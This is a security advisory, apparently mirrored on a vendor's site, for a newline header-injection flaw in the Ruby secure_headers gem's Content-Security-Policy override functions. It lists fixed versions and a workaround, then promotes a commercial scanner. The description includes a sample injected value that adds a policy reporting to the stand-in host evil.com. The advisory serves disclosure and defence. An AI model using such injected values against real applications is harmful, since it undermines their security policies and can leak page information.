GHSA-w978-rmpf-qmwg
MEDIUMLimited header injection when using dynamic overrides with user input in RubyGems secure_headers
Blast Radius
secure_headers💎secure_headers💎secure_headersReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Impact
If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.
Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline.
e.g.
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])`
would result in
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
Patches
This has been fixed in 6.3.0, 5.2.0, and 3.9.0
Workarounds
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
References
https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c The effect of multiple policies
For more information
If you have any questions or comments about this advisory:
- Open an issue in this repo
- DM us at @ndm on twitter
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | secure_headers | ≥ 6.0.0&&< 6.3.0 | 6.3.0 |
| 💎RubyGems | secure_headers | ≥ 5.0.0&&< 5.2.0 | 5.2.0 |
| 💎RubyGems | secure_headers | all versions | 3.9.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for secure_headers. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update secure_headers to 6.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w978-rmpf-qmwg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-w978-rmpf-qmwg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-w978-rmpf-qmwg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-w978-rmpf-qmwg in your dependencies?
O3 detects GHSA-w978-rmpf-qmwg across RubyGems dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.